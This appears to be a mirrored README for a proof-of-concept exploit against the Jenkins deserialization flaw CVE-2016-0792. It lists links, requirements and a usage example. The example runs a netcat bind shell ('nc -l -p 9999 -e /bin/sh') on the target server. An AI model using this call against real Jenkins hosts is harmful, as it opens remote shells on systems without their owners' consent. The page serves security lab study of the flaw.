CVE-2016-0792 PoC — CloudBees Jenkins CI和LTS 任意代码执行漏洞

Description

Exploit for Jenkins serialization vulnerability - CVE-2016-0792

介绍

# Jenkins CVE-2016-0792
## Exploit for Jenkins serialization vulnerability - CVE-2016-0792

#### Exploit database

[https://www.exploit-db.com/exploits/42394/](https://www.exploit-db.com/exploits/42394/)

#### More information can be found here

1. [Contrast Security](https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream)

2. [Pentester Lab](https://www.pentesterlab.com/exercises/cve-2016-0792/)

#### Requirements

1. Python 3.6.x

2. [requests](http://docs.python-requests.org/en/master/) library is required for this exploit to work

      `sudo pip install requests`

#### Usage

`python3`

`from exploit import exploit`

`exploit(url, command)`

Where url is url to jenkins server and command is command to execute

##### Example

`exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')`

This will run nc and listen on port 9999 on vulnerable machine

For demonstration purposes I will be running ISO from [Pentester Lab](https://www.pentesterlab.com/exercises/cve-2016-0792/)

[![asciicast](https://asciinema.org/a/131436.png)](https://asciinema.org/a/131436)

#### Disclaimer
Using this software to attack targets without permission is illegal. I am not responsible for any damage caused by using
 this software against the law.

文件快照

备注